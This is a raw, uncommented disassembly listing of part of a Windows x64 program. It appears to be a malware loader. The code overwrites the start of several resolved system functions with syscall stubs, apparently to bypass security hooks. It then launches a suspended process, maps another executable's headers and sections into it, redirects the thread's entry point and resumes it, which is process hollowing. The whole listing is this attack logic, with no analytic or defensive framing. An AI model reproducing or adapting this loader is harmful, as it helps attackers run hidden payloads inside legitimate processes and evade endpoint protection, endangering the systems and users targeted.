lea rcx, [rbp + 0x280]
call fcn.1400007cc
cmp qword [rax + 0x18], rdi
jb 0x1400019bf
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006310], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x140001a0b
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001a55
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001a50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
cmp qword [0x140006310], rsi
je 0x140001f7c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
lea rax, [rbp + 0x20]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x140001a79
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
cmp qword [rax + 0x18], rdi
jb 0x140001aaf
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006328], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x140001afb
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001af6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001af6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001b45
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001b40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
cmp qword [0x140006328], rsi
je 0x140001f7c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
lea rax, [rbp - 0x30]
inc r14
cmp byte [rax + r14], sil
jne 0x140001b66
mov r8, r14
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.140002434
nop
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x280]
call fcn.1400007cc
cmp qword [rax + 0x18], rdi
jb 0x140001b9f
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006358], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x140001beb
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001be6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001be6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp - 0x60], rsi
mov ebx, 0xf
mov qword [rbp - 0x58], rbx
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x78]
cmp rdx, rdi
jb 0x140001c36
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x140001c31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
cmp qword [0x140006358], rsi
je 0x140001f81
mov r14d, 0x40
mov dword [rbp + 0x1f8], r14d
lea r9, [rbp + 0x1fc]
mov r8d, r14d
lea ebx, [r14 - 0x3b]
mov edx, ebx
mov rcx, qword [0x140006310]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001f7c
mov dword [rsp + 0x50], 0xb8d18b4c
mov rcx, qword [0x140006310]
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov byte [rcx + 4], 0x3a
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1fc]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x1fc]
mov r8d, dword [rbp + 0x1f8]
mov edx, ebx
mov rcx, qword [0x140006328]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001f7c
mov dword [rbp + 0x1f8], r14d
mov dword [rsp + 0x50], 0xb8d18b4c
mov rcx, qword [0x140006328]
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov byte [rcx + 4], 0x98
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1fc]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x1fc]
mov r8d, dword [rbp + 0x1f8]
mov edx, ebx
mov rcx, qword [0x140006358]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001f7c
mov dword [rbp + 0x1f8], r14d
mov dword [rsp + 0x50], 0xb8d18b4c
mov rcx, qword [0x140006358]
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov byte [rcx + 4], 0x52
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1fc]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x1fc]
mov r8d, dword [rbp + 0x1f8]
mov edx, ebx
mov rcx, qword [0x140006320]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001f7c
mov dword [rsp + 0x50], 0xb8d18b4c
mov rcx, qword [0x140006320]
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov byte [rcx + 4], 0xcf
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1fc]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x1fc]
mov r8d, dword [rbp + 0x1f8]
mov edx, ebx
mov rcx, qword [0x140006348]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001f7c
mov dword [rsp + 0x50], 0xb8d18b4c
mov rcx, qword [0x140006348]
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov byte [rcx + 4], 0x50
lea r9, [rbp + 0x1f8]
mov r8d, dword [rbp + 0x1fc]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
lea ebx, [r14 - 0x3c]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001f7c
mov r9d, ebx
mov r8d, r15d
lea edx, [rbx + 4]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001f7c
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], r14d
mov r9d, 0x3000
mov rdx, qword [r13 + 0x30]
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], rsi
mov r9d, dword [r13 + 0x54]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp + 0x1e0]
call qword [0x140006310]
mov r14, rsi
cmp si, word [r13 + 6]
jae 0x140001f3d
movsxd r9, dword [r12 + 0x3c]
add r9, r12
mov r8d, dword [r9 + rsi + 0x11c]
add r8, r12
mov edx, dword [r9 + rsi + 0x114]
add rdx, rdi
and qword [rsp + 0x20], 0
mov r9d, dword [r9 + rsi + 0x118]
mov rcx, qword [rbp + 0x1e0]
call qword [0x140006310]
mov rdx, qword [rbx + 0x88]
add rdx, 0x10
and qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [r13 + 0x30]
mov rcx, qword [rbp + 0x1e0]
call qword [0x140006310]
inc r14
lea rsi, [rsi + 0x28]
movzx eax, word [r13 + 6]
cmp r14, rax
jb 0x140001ec9
xor esi, esi
mov eax, dword [r13 + 0x28]
add rax, rdi
mov qword [rbx + 0x80], rax
mov rdx, rbx
mov rcx, qword [rbp + 0x1e8]
call qword [0x140006328]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 0x10
mov ebx, 0xf
mov rcx, qword [rsp + 0x60]
mov r13d, 0x1000
test rcx, rcx
je 0x140001fc5
mov rdx, qword [rbp + 0x230]
sub rdx, rcx
mov rax, rcx
cmp rdx, r13
jb 0x140001fbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fbf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, rdi
jb 0x140002004
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, r13
jb 0x140001fff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov qword [rbp + 0x248], rsi
mov qword [rbp + 0x250], rbx
mov byte [rbp + 0x238], sil
mov rdx, qword [rbp + 0x2d8]
cmp rdx, rdi
jb 0x140002059
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, r13
jb 0x140002053
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002053
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
lea rcx, [rbp + 0x280]
call fcn.14000090c
nop
mov rdx, qword [rbp + 0x270]
cmp rdx, rdi
jb 0x1400020a6
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, r13
jb 0x1400020a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, rdi
jb 0x1400020e5
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, r13
jb 0x1400020e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c0c
mov rcx, qword [rbp + 0x750]
xor rcx, rsp
call fcn.140002960
lea r11, [rsp + 0x860]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140000560
nop
call fcn.140002934
int3